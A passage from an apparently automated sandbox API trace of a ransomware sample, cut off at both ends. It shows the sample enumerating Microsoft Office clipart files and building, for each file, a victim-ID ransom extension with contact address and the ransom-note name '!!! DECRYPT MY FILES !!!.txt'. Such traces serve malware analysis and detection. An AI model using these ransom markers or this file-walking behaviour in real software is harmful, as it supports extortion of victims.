ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0137.716] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 1 [0137.716] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf") returned 0x44 [0137.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.716] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.716] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.716] GetProcessHeap () returned 0x630000 [0137.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2d8) returned 0x671c18 [0137.717] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0137.717] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 1 [0137.717] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf") returned 0x44 [0137.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.717] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.717] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.717] GetProcessHeap () returned 0x630000 [0137.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2dc) returned 0x671c18 [0137.717] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0137.717] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 1 [0137.717] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf") returned 0x44 [0137.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.718] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.718] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.718] GetProcessHeap () returned 0x630000 [0137.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2e0) returned 0x671c18 [0137.718] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0137.718] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 1 [0137.718] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf") returned 0x44 [0137.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.718] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.718] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.719] GetProcessHeap () returned 0x630000 [0137.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2e4) returned 0x671c18 [0137.719] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0137.719] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 1 [0137.719] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf") returned 0x44 [0137.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.719] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.719] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.719] GetProcessHeap () returned 0x630000 [0137.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2e8) returned 0x671c18 [0137.719] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0137.720] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 1 [0137.720] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid") returned 0x43 [0137.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.720] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.720] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.720] GetProcessHeap () returned 0x630000 [0137.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2ec) returned 0x671c18 [0137.720] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0137.720] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 1 [0137.720] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf") returned 0x44 [0137.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.721] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.721] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.721] GetProcessHeap () returned 0x630000 [0137.721] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2f0) returned 0x671c18 [0137.721] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0137.721] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 1 [0137.721] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf") returned 0x44 [0137.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.725] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.725] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.733] GetProcessHeap () returned 0x630000 [0137.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2f0) returned 0x671c18 [0137.733] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0137.733] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 1 [0137.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf") returned 0x44 [0137.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.733] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.733] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.733] GetProcessHeap () returned 0x630000 [0137.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2f4) returned 0x671c18 [0137.734] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0137.734] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 1 [0137.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf") returned 0x44 [0137.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.734] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.734] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.734] GetProcessHeap () returned 0x630000 [0137.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2f8) returned 0x671c18 [0137.734] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0137.734] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 1 [0137.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf") returned 0x44 [0137.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.735] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.735] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.735] GetProcessHeap () returned 0x630000 [0137.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2fc) returned 0x671c18 [0137.735] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0137.735] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 1 [0137.735] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf") returned 0x44 [0137.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.735] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.735] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.736] GetProcessHeap () returned 0x630000 [0137.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x300) returned 0x671c18 [0137.736] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0137.736] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 1 [0137.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF", cchLength=0x44 | out: lpsz="c:\\program 